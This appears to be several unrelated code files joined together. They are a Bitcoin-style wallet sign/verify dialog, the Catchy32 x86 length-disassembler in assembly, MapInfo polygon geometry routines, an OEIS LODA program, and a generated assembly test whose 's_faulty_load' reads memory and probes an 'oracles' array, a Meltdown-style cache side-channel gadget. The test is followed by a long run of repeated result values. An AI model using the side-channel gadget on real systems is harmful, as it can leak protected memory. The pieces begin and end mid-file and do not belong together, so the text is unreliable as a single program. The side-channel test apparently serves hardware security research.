(!key.SignCompact(Hash(ss.begin(), ss.end()), vchSig)) { ui->statusLabel_SM->setStyleSheet("QLabel { color: red; }"); ui->statusLabel_SM->setText(QString("<nobr>") + tr("Message signing failed.") + QString("</nobr>")); return; } ui->statusLabel_SM->setStyleSheet("QLabel { color: green; }"); ui->statusLabel_SM->setText(QString("<nobr>") + tr("Message signed.") + QString("</nobr>")); ui->signatureOut_SM->setText(QString::fromStdString(EncodeBase64(&vchSig[0], vchSig.size()))); } void SignVerifyMessageDialog::on_copySignatureButton_SM_clicked() { QApplication::clipboard()->setText(ui->signatureOut_SM->text()); } void SignVerifyMessageDialog::on_clearButton_SM_clicked() { ui->addressIn_SM->clear(); ui->messageIn_SM->clear(); ui->signatureOut_SM->clear(); ui->statusLabel_SM->clear(); ui->addressIn_SM->setFocus(); } void SignVerifyMessageDialog::on_addressBookButton_VM_clicked() { if (model && model->getAddressTableModel()) { AddressBookPage dlg(AddressBookPage::ForSending, AddressBookPage::SendingTab, this); dlg.setModel(model->getAddressTableModel()); if (dlg.exec()) { setAddress_VM(dlg.getReturnValue()); } } } void SignVerifyMessageDialog::on_verifyMessageButton_VM_clicked() { CBitcoinAddress addr(ui->addressIn_VM->text().toStdString()); if (!addr.IsValid()) { ui->addressIn_VM->setValid(false); ui->statusLabel_VM->setStyleSheet("QLabel { color: red; }"); ui->statusLabel_VM->setText(tr("The entered address is invalid.") + QString(" ") + tr("Please check the address and try again.")); return; } CKeyID keyID; if (!addr.GetKeyID(keyID)) { ui->addressIn_VM->setValid(false); ui->statusLabel_VM->setStyleSheet("QLabel { color: red; }"); ui->statusLabel_VM->setText(tr("The entered address does not refer to a key.") + QString(" ") + tr("Please check the address and try again.")); return; } bool fInvalid = false; std::vector<unsigned char> vchSig = DecodeBase64(ui->signatureIn_VM->text().toStdString().c_str(), &fInvalid); if (fInvalid) { ui->signatureIn_VM->setValid(false); ui->statusLabel_VM->setStyleSheet("QLabel { color: red; }"); ui->statusLabel_VM->setText(tr("The signature could not be decoded.") + QString(" ") + tr("Please check the signature and try again.")); return; } CDataStream ss(SER_GETHASH, 0); ss << strMessageMagic; ss << ui->messageIn_VM->document()->toPlainText().toStdString(); CPubKey pubkey; if (!pubkey.RecoverCompact(Hash(ss.begin(), ss.end()), vchSig)) { ui->signatureIn_VM->setValid(false); ui->statusLabel_VM->setStyleSheet("QLabel { color: red; }"); ui->statusLabel_VM->setText(tr("The signature did not match the message digest.") + QString(" ") + tr("Please check the signature and try again.")); return; } if (!(CBitcoinAddress(pubkey.GetID()) == addr)) { ui->statusLabel_VM->setStyleSheet("QLabel { color: red; }"); ui->statusLabel_VM->setText(QString("<nobr>") + tr("Message verification failed.") + QString("</nobr>")); return; } ui->statusLabel_VM->setStyleSheet("QLabel { color: green; }"); ui->statusLabel_VM->setText(QString("<nobr>") + tr("Message verified.") + QString("</nobr>")); } void SignVerifyMessageDialog::on_clearButton_VM_clicked() { ui->addressIn_VM->clear(); ui->signatureIn_VM->clear(); ui->messageIn_VM->clear(); ui->statusLabel_VM->clear(); ui->addressIn_VM->setFocus(); } bool SignVerifyMessageDialog::eventFilter(QObject *object, QEvent *event) { if (event->type() == QEvent::MouseButtonPress || event->type() == QEvent::FocusIn) { if (ui->tabWidget->currentIndex() == 0) { /* Clear status message on focus change */ ui->statusLabel_SM->clear(); /* Select generated signature */ if (object == ui->signatureOut_SM) { ui->signatureOut_SM->selectAll(); return true; } } else if (ui->tabWidget->currentIndex() == 1) { /* Clear status message on focus change */ ui->statusLabel_VM->clear(); } } return QDialog::eventFilter(object, event); }
;================================================================================================================================================== ; ******** *** *********** ********* *** *** *** *** ******* ******* ; *********** **** **** *********** *********** *** *** *** *** ***** ***** ***** ***** ; *** *** *** *** *** *** *** *** *** *** *** ** *** ** **** ; *** *********** *** *** *********** ** ** **** **** ; *** *** *********** *** *** *** *********** *** ** *** **** ; *********** *** *** *** *********** *** *** *** ***** ***** *********** ; ********* *** *** *** ********* *** *** *** ******* *********** ;==================================================Catchy32 v1.7 - Length Disassembler Engine 32bit================================================ ;SIZE=580 bytes ;Version: ;1.0-test version ;1.1-added: support prefix ;1.2-added: TableEXT ;1.3-added: support for 0F6h and 0F7h groups ;1.4-tables fixed ; -SIB byte handling fixed ;1.5-code fixed&optimized ; -processing 0F6h and 0F7h groups is corrected ; -processing 0A0h-0A3h groups is corrected ;1.6-code fixed ; -added: max lenght=15 bytes ;1.7 ; 14.7.2004 90210 ; -ptoto changed to __cdecl DWORD c_Catchy(PVOID pDisasmAddr) ; -written c header ;================================================================================================================================================== ;(c) sars [HI-TECH] 2003 ;sars@ukrtop.com ;================================================================================================================================================== pref66h equ 1 pref67h equ 2 public _c_Catchy .386 .model flat .code ;---------------Initial adjustment---------------- _c_Catchy: pushad ; call c_Delta ; 90210 ;------------Delta-offset calculation------------- ;c_Delta: ; pop ebp ; sub ebp, offset c_Delta xor ecx, ecx mov esi, [esp+32+4] ; 90210 ;----Flags extraction, checks for some opcodes---- c_ExtFlags: xor eax, eax xor ebx, ebx cdq lodsb ;al <- opcode mov cl, al ;cl <- opcode cmp al, 0fh ;Test on prefix 0Fh je c_ExtdTable cmp word ptr [esi-1], 20CDh ;Test on VXD call jne c_NormTable inc esi ;If VXD call (int 20h), then command length is 6 bytes lodsd jmp c_CalcLen c_ExtdTable: ;Load flags from extended table lodsb inc ah ;EAX=al+100h (100h/2 - lenght first table) c_NormTable: ;Load flags from normal table shr eax, 1 ;Elements tables on 4 bits mov al, byte ptr [c_Table+eax] ; mov al, byte ptr ebp.[c_Table+eax] c_CheckC1: jc c_IFC1 shr eax, 4 ;Get high 4-bits block if offset is odd, otherwise... c_IFC1: and eax, 0Fh ;...low xchg eax, ebx ;EAX will be needed for other purposes ;--------------Opcode type checking--------------- c_CheckFlags: cmp bl, 0Eh ;Test on ErrorFlag je c_Error cmp bl, 0Fh ;Test on PrefixFlag je c_Prefix or ebx, ebx ;One byte command jz c_CalcLen btr ebx, 0 ;Command with ModRM byte jc c_ModRM btr ebx, 1 ;Test on imm8,rel8 etc flag jc c_incr1 btr ebx, 2 ;Test on ptr16 etc flag jc c_incr2 ;-----imm16/32,rel16/32, etc types processing----- c_16_32: and bl, 11110111b ;Reset 16/32 sign cmp cl, 0A0h ;Processing group 0A0h-0A3h jb c_Check66h cmp cl, 0A3h ja c_Check66h test ch, pref67h jnz c_incr2 jmp c_incr4 c_Check66h: ;Processing other groups test ch, pref66h jz c_incr4 jmp c_incr2 ;---------------Prefixes processing--------------- c_Prefix: cmp cl, 66h je c_SetFlag66h cmp cl, 67h jne c_ExtFlags c_SetFlag67h: or ch, pref67h jmp c_ExtFlags c_SetFlag66h: or ch, pref66h jmp c_ExtFlags ;--------------ModR/M byte processing------------- c_ModRM: lodsb c_Check_0F6h_0F7h: ;Check on 0F6h and 0F7h groups cmp cl, 0F7h je c_GroupF6F7 cmp cl, 0F6h jne c_ModXX c_GroupF6F7: ;Processing groups 0F6h and 0F7h test al, 00111000b jnz c_ModXX test cl, 00000001b jz c_incbt1 test ch, 1 jnz c_incbt2 inc esi inc esi c_incbt2: inc esi c_incbt1: inc esi c_ModXX: ;Processing MOD bits mov edx, eax and al, 00000111b ;al <- only R/M bits test dl, 11000000b ;Check MOD bits jz c_Mod00 jp c_CheckFlags ;Or c_Mod11 js c_Mod10 c_Mod01: test ch, pref67h jnz c_incr1 ;16-bit addressing cmp al, 4 ;Check SIB je c_incr2 jmp c_incr1 c_Mod00: test ch, pref67h jz c_Mod00_32 ;32-bit addressing cmp al, 6 je c_incr2 jmp c_CheckFlags c_Mod00_32: cmp al, 4 ;Check SIB jne c_disp32 c_SIB: ;Processing SIB byte lodsb and al, 00000111b cmp al, 5 je c_incr4 jmp c_CheckFlags c_disp32: cmp al, 5 je c_incr4 jmp c_CheckFlags c_Mod10: test ch, pref67h jnz c_incr2 ;16-bit addressing cmp al, 4 ;Check SIB je c_incr5 jmp c_incr4 c_incr5: inc esi c_incr4: inc esi inc esi c_incr2: inc esi c_incr1: inc esi jmp c_CheckFlags ;-----------Command length calculation------------ c_CalcLen: sub esi, [esp+32+4*1] ; 90210 cmp esi, 15 ja c_Error mov [esp+4*7], esi jmp c_Exit ;----------------Setting the error---------------- c_Error: xor eax, eax dec eax mov [esp+4*7], eax ;---------Restore the registers and exit---------- c_Exit: popad ret ;------------------------------------------------- ;================================================================================================================================================== include optable.inc .data end
/********************************************************************** * * Name: mitab_geometry.cpp * Project: MapInfo TAB Read/Write library * Language: C++ * Purpose: Geometry manipulation functions. * Author: Daniel Morissette, dmorissette@dmsolutions.ca * Based on functions from mapprimitive.c/mapsearch.c in the source * of UMN MapServer by Stephen Lime (http://mapserver.gis.umn.edu/) ********************************************************************** * Copyright (c) 1999-2001, Daniel Morissette * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. ********************************************************************** * * $Log: mitab_geometry.cpp,v $ * Revision 1.5 2004-06-30 20:29:04 dmorissette * Fixed refs to old address danmo@videotron.ca * * Revision 1.4 2001/12/18 23:42:28 daniel * Added a test in OGRPolygonLabelPoint() to prevent returning a point * outside of the polygon MBR (bug 673). * * Revision 1.3 2001/01/22 16:03:58 warmerda * expanded tabs * * Revision 1.2 2000/09/28 16:39:44 warmerda * Avoid warnings for unused, and uninitialized variables * * Revision 1.1 2000/09/19 17:19:40 daniel * Initial Revision * **********************************************************************/ #include "mitab_geometry.h" CPL_CVSID("$Id$"); #define OGR_NUM_RINGS(poly) (poly->getNumInteriorRings()+1) #define OGR_GET_RING(poly, i) (i==0?poly->getExteriorRing():poly->getInteriorRing(i-1)) /********************************************************************** * OGRPointInRing() * * Returns TRUE is point is inside ring, FALSE otherwise * * Adapted version of msPointInPolygon() from MapServer's mapsearch.c **********************************************************************/ GBool OGRPointInRing(OGRPoint *poPoint, OGRLineString *poRing) { int i, j, numpoints; GBool status = FALSE; double x, y; numpoints = poRing->getNumPoints(); x = poPoint->getX(); y = poPoint->getY(); for (i = 0, j = numpoints-1; i < numpoints; j = i++) { if ((((poRing->getY(i)<=y) && (y<poRing->getY(j))) || ((poRing->getY(j)<=y) && (y<poRing->getY(i)))) && (x < (poRing->getX(j) - poRing->getX(i)) * (y - poRing->getY(i)) / (poRing->getY(j) - poRing->getY(i)) + poRing->getX(i))) status = !status; } return status; } /********************************************************************** * OGRIntersectPointPolygon() * * Instead of using ring orientation we count the number of parts the * point falls in. If odd the point is in the polygon, if 0 or even * then the point is in a hole or completely outside. * * Returns TRUE is point is inside polygon, FALSE otherwise * * Adapted version of msIntersectPointPolygon() from MapServer's mapsearch.c **********************************************************************/ GBool OGRIntersectPointPolygon(OGRPoint *poPoint, OGRPolygon *poPoly) { int i; GBool status = FALSE; for(i=0; i<OGR_NUM_RINGS(poPoly); i++) { if (OGRPointInRing(poPoint, OGR_GET_RING(poPoly, i))) { /* ok, the point is in a line */ status = !status; } } return status; } /********************************************************************** * OGRPolygonLabelPoint() * * Generate a label point on the surface of a polygon. * * The function is based on a scanline conversion routine used for polygon * fills. Instead of processing each line the as with drawing, the * polygon is sampled. The center of the longest sample is chosen for the * label point. The label point is guaranteed to be in the polygon even if * it has holes assuming the polygon is properly formed. * * Returns OGRERR_NONE if it succeeds or OGRERR_FAILURE otherwise. * * Adapted version of msPolygonLabelPoint() from MapServer's mapprimitive.c **********************************************************************/ typedef enum {CLIP_LEFT, CLIP_MIDDLE, CLIP_RIGHT} CLIP_STATE; #define CLIP_CHECK(min, a, max) ((a) < (min) ? CLIP_LEFT : ((a) > (max) ? CLIP_RIGHT : CLIP_MIDDLE)); #define ROUND(a) ( (a) + 0.5 ) #define SWAP( a, b, t) ( (t) = (a), (a) = (b), (b) = (t) ) #define EDGE_CHECK( x0, x, x1) ((x) < MIN( (x0), (x1)) ? CLIP_LEFT : ((x) > MAX( (x0), (x1)) ? CLIP_RIGHT : CLIP_MIDDLE )) #define NUM_SCANLINES 5 int OGRPolygonLabelPoint(OGRPolygon *poPoly, OGRPoint *poLabelPoint) { double slope; OGRRawPoint point1, point2; int i, j, k, nfound; double x, y, *xintersect, temp; double hi_y, lo_y; int wrong_order, n; double len, max_len=0; double skip; OGREnvelope oEnv; if (poPoly == NULL) return OGRERR_FAILURE; poPoly->getEnvelope(&oEnv); poLabelPoint->setX((oEnv.MaxX + oEnv.MinX)/2.0); poLabelPoint->setY((oEnv.MaxY + oEnv.MinY)/2.0); //if(get_centroid(p, lp, &miny, &maxy) == -1) return(-1); if(OGRIntersectPointPolygon(poLabelPoint, poPoly) == TRUE) /* cool, done */ return OGRERR_NONE; /* do it the hard way - scanline */ skip = (oEnv.MaxY - oEnv.MinY)/NUM_SCANLINES; n=0; for(j=0; j<OGR_NUM_RINGS(poPoly); j++) { /* count total number of points */ n += OGR_GET_RING(poPoly, j)->getNumPoints(); } if( n == 0 ) return OGRERR_FAILURE; xintersect = (double *)calloc(n, sizeof(double)); if (xintersect == NULL) return OGRERR_FAILURE; for(k=1; k<=NUM_SCANLINES; k++) { /* sample the shape in the y direction */ y = oEnv.MaxY - k*skip; /* need to find a y that won't intersect any vertices exactly */ hi_y = y - 1; /* first initializing lo_y, hi_y to be any 2 pnts on either side of lp->y */ lo_y = y + 1; for(j=0; j<OGR_NUM_RINGS(poPoly); j++) { OGRLinearRing *poRing = OGR_GET_RING(poPoly,j); if((lo_y < y) && (hi_y >= y)) break; /* already initialized */ for(i=0; i < poRing->getNumPoints(); i++) { if((lo_y < y) && (hi_y >= y)) break; /* already initialized */ if(poRing->getY(i) < y) lo_y = poRing->getY(i); if(poRing->getY(i) >= y) hi_y = poRing->getY(i); } } for(j=0; j<OGR_NUM_RINGS(poPoly); j++) { OGRLinearRing *poRing = OGR_GET_RING(poPoly,j); for(i=0; i < poRing->getNumPoints(); i++) { if((poRing->getY(i) < y) && ((y - poRing->getY(i)) < (y - lo_y))) lo_y = poRing->getY(i); if((poRing->getY(i) >= y) && ((poRing->getY(i) - y) < (hi_y - y))) hi_y = poRing->getY(i); } } if(lo_y == hi_y) { free(xintersect); return OGRERR_FAILURE; } else y = (hi_y + lo_y)/2.0; nfound = 0; for(j=0; j<OGR_NUM_RINGS(poPoly); j++) /* for each line */ { OGRLinearRing *poRing = OGR_GET_RING(poPoly,j); point1.x = poRing->getX(poRing->getNumPoints()-1); point1.y = poRing->getY(poRing->getNumPoints()-1); for(i=0; i < poRing->getNumPoints(); i++) { point2.x = poRing->getX(i); point2.y = poRing->getY(i); if(EDGE_CHECK(point1.y, y, point2.y) == CLIP_MIDDLE) { if(point1.y == point2.y) continue; /* ignore horizontal edges */ else slope = (point2.x - point1.x) / (point2.y - point1.y); x = point1.x + (y - point1.y)*slope; xintersect[nfound++] = x; } /* End of checking this edge */ point1 = point2; /* Go on to next edge */ } } /* Finished the scanline */ /* First, sort the intersections */ do { wrong_order = 0; for(i=0; i < nfound-1; i++) { if(xintersect[i] > xintersect[i+1]) { wrong_order = 1; SWAP(xintersect[i], xintersect[i+1], temp); } } } while(wrong_order); /* Great, now find longest span */ //point1.y = point2.y = y; for(i=0; i < nfound; i += 2) { point1.x = xintersect[i]; point2.x = xintersect[i+1]; /* len = length(point1, point2); */ len = ABS((point2.x - point1.x)); if(len > max_len) { max_len = len; poLabelPoint->setX( (point1.x + point2.x)/2 ); poLabelPoint->setY( y ); } } } free(xintersect); /* __TODO__ Bug 673 * There seem to be some polygons for which the label is returned * completely outside of the polygon's MBR and this messes the * file bounds, etc. * Until we find the source of the problem, we'll at least validate * the label point to make sure that it overlaps the polygon MBR. */ if( poLabelPoint->getX() < oEnv.MinX || poLabelPoint->getY() < oEnv.MinY || poLabelPoint->getX() > oEnv.MaxX || poLabelPoint->getY() > oEnv.MaxY ) { // Reset label coordinates to center of MBR, just in case poLabelPoint->setX((oEnv.MaxX + oEnv.MinX)/2.0); poLabelPoint->setY((oEnv.MaxY + oEnv.MinY)/2.0); // And return an error return OGRERR_FAILURE; } if(max_len > 0) return OGRERR_NONE; else return OGRERR_FAILURE; } #ifdef unused /********************************************************************** * OGRGetCentroid() * * Calculate polygon gravity center. * * Returns OGRERR_NONE if it succeeds or OGRERR_FAILURE otherwise. * * Adapted version of get_centroid() from MapServer's mapprimitive.c **********************************************************************/ int OGRGetCentroid(OGRPolygon *poPoly, OGRPoint *poCentroid) { int i,j; double cent_weight_x=0.0, cent_weight_y=0.0; double len, total_len=0; for(i=0; i<OGR_NUM_RINGS(poPoly); i++) { double x1, y1, x2, y2; OGRLinearRing *poRing = OGR_GET_RING(poPoly, i); x2 = poRing->getX(0); y2 = poRing->getY(0); for(j=1; j<poRing->getNumPoints(); j++) { x1 = x2; y1 = y2; x2 = poRing->getX(j); y2 = poRing->getY(j); len = sqrt( pow((x2-x1),2) + pow((y2-y1),2) ); cent_weight_x += len * ((x1 + x2)/2.0); cent_weight_y += len * ((y1 + y2)/2.0); total_len += len; } } if(total_len == 0) return(OGRERR_FAILURE); poCentroid->setX( cent_weight_x / total_len ); poCentroid->setY( cent_weight_y / total_len ); return OGRERR_NONE; } #endif /********************************************************************** * OGRPolylineCenterPoint() * * Return the center point of a polyline. * * In MapInfo, for a simple or multiple polyline (pline), the center point * in the object definition is supposed to be either the center point of * the pline or the first section of a multiple pline (if an odd number of * points in the pline or first section), or the midway point between the * two central points (if an even number of points involved). * * Returns OGRERR_NONE if it succeeds or OGRERR_FAILURE otherwise. **********************************************************************/ int OGRPolylineCenterPoint(OGRLineString *poLine, OGRPoint *poLabelPoint) { if (poLine == NULL || poLine->getNumPoints() < 2) return OGRERR_FAILURE; if (poLine->getNumPoints() % 2 == 0) { // Return the midway between the 2 center points int i = poLine->getNumPoints()/2; poLabelPoint->setX( (poLine->getX(i-1) + poLine->getX(i))/2.0 ); poLabelPoint->setY( (poLine->getY(i-1) + poLine->getY(i))/2.0 ); } else { // Return the center point poLine->getPoint(poLine->getNumPoints()/2, poLabelPoint); } return OGRERR_NONE; } /********************************************************************** * OGRPolylineLabelPoint() * * Generate a label point on a polyline: The center of the longest segment. * * Returns OGRERR_NONE if it succeeds or OGRERR_FAILURE otherwise. **********************************************************************/ int OGRPolylineLabelPoint(OGRLineString *poLine, OGRPoint *poLabelPoint) { double segment_length, max_segment_length = 0.0; double x1, y1, x2, y2; if (poLine == NULL || poLine->getNumPoints() < 2) return OGRERR_FAILURE; max_segment_length = -1.0; x2 = poLine->getX(0); y2 = poLine->getY(0); for(int i=1; i<poLine->getNumPoints(); i++) { x1 = x2; y1 = y2; x2 = poLine->getX(i); y2 = poLine->getY(i); segment_length = pow((x2-x1),2) + pow((y2-y1),2); if (segment_length > max_segment_length) { max_segment_length = segment_length; poLabelPoint->setX( (x1 + x2)/2.0 ); poLabelPoint->setY( (y1 + y2)/2.0 ); } } return OGRERR_NONE; }
; A001805: a(n) = n! * binomial(n,3). ; Submitted by Christian Krause ; 6,96,1200,14400,176400,2257920,30481920,435456000,6586272000,105380352000,1780927948800,31732897996800,594991837440000,11716762337280000,241867451105280000,5224336943874048000,117874102296158208000,2773508289321369600000,67950953088373555200000,1730961120777515827200000,45783921644565293629440000,1255787565108076625264640000,35675783099661267763200000000,1048557798929174652518400000000,31849943142473680070246400000000,998814216947974607002927104000000,32307798325124870941902372864000000 mov $1,$0 add $0,3 bin $0,$1 add $1,3 lpb $1 mul $0,$1 sub $1,1 lpe div $0,6 mul $0,6
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r8 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x19a4e, %rsi lea addresses_A_ht+0x961e, %rdi nop nop nop nop nop cmp %r9, %r9 mov $105, %rcx rep movsq nop nop nop nop nop cmp %r12, %r12 lea addresses_D_ht+0x1881e, %r8 nop nop add %rbx, %rbx mov $0x6162636465666768, %rcx movq %rcx, %xmm2 vmovups %ymm2, (%r8) nop nop sub $2614, %rsi lea addresses_A_ht+0x13dc2, %rsi nop nop sub $51870, %r8 mov $0x6162636465666768, %r9 movq %r9, %xmm1 movups %xmm1, (%rsi) nop nop nop inc %rbx lea addresses_WC_ht+0x6fbe, %rsi lea addresses_normal_ht+0x201e, %rdi nop nop nop nop sub %rbx, %rbx mov $43, %rcx rep movsw nop nop cmp $35394, %r12 lea addresses_UC_ht+0xa7b2, %rsi nop nop nop nop add %rdi, %rdi movw $0x6162, (%rsi) nop nop nop nop nop and $65133, %rdi lea addresses_WT_ht+0x197be, %rsi lea addresses_UC_ht+0x6ae4, %rdi nop cmp %rbx, %rbx mov $2, %rcx rep movsb nop nop nop nop nop cmp $7211, %rdi lea addresses_WC_ht+0x1d932, %r12 nop nop nop nop nop add $8934, %rbx mov (%r12), %r8w nop sub $40767, %rsi lea addresses_WT_ht+0x1781e, %r8 cmp $13213, %r9 mov (%r8), %r12w nop nop nop inc %r9 lea addresses_WT_ht+0x14556, %r9 nop nop nop cmp $48976, %rsi mov $0x6162636465666768, %r12 movq %r12, (%r9) nop inc %r12 lea addresses_UC_ht+0x18738, %rbx inc %rsi movb $0x61, (%rbx) nop nop nop nop inc %r9 lea addresses_A_ht+0x8cfe, %rsi lea addresses_WC_ht+0x1330e, %rdi nop nop nop nop and $25895, %r10 mov $68, %rcx rep movsw nop nop nop cmp $38118, %rcx lea addresses_WC_ht+0x1a55e, %rsi lea addresses_A_ht+0x17da8, %rdi xor %r12, %r12 mov $8, %rcx rep movsw nop nop nop xor $1145, %r8 lea addresses_WT_ht+0xa5be, %rbx nop nop nop nop add $26486, %r8 mov (%rbx), %r10 sub $9248, %r12 lea addresses_WT_ht+0x656a, %r8 xor %r10, %r10 mov (%r8), %r9w nop nop nop nop sub $59905, %rdi lea addresses_D_ht+0x50f6, %rsi lea addresses_A_ht+0x1e656, %rdi nop nop nop sub $16209, %r12 mov $96, %rcx rep movsl nop nop nop nop nop cmp %r8, %r8 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r8 push %rcx push %rdx push %rsi // Faulty Load lea addresses_normal+0x281e, %r10 nop nop add $43478, %r8 mov (%r10), %r13 lea oracles, %r10 and $0xff, %r13 shlq $12, %r13 mov (%r10,%r13,1), %r13 pop %rsi pop %rdx pop %rcx pop %r8 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 2, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 10, 'size': 2, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 3, 'size': 8, 'same': True, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': True, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 5, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': False, 'NT': True}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 